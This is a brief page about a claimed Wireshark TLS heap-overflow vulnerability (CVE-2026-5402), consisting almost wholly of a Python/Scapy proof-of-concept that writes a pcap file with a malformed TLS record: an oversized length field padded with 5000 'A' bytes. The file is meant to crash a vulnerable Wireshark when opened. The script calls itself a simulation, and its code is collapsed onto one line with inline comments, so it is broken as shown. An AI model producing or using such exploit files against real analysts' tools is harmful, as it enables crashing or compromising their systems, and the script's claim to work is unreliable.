CVE-2026-5402 Wireshark TLS协议堆溢出漏洞

from scapy.all import * # Construct a malicious TLS packet to trigger the heap overflow # This is a simulation based on the vulnerability description def generate_malicious_tls(): # IP/UDP/TCP layer ip = IP(dst="192.168.1.10") tcp = TCP(sport=12345, dport=443, flags="PA") # TLS Record Layer - Handshake type # Malformed length field causing buffer overflow in dissector tls_content = b"\x16" + b"\x03\x01" + struct.pack('!H', 0xFFFF) # Excessive length # Padding to trigger the specific overflow condition payload = tls_content + b"A" * 5000 pkt = ip / tcp / payload wrpcap("cve_2026_5402_poc.pcap", pkt) print("[+] Malicious pcap file generated: cve_2026_5402_poc.pcap") print("[+] Open this file in vulnerable Wireshark version to test.") if __name__ == "__main__": generate_malicious_tls()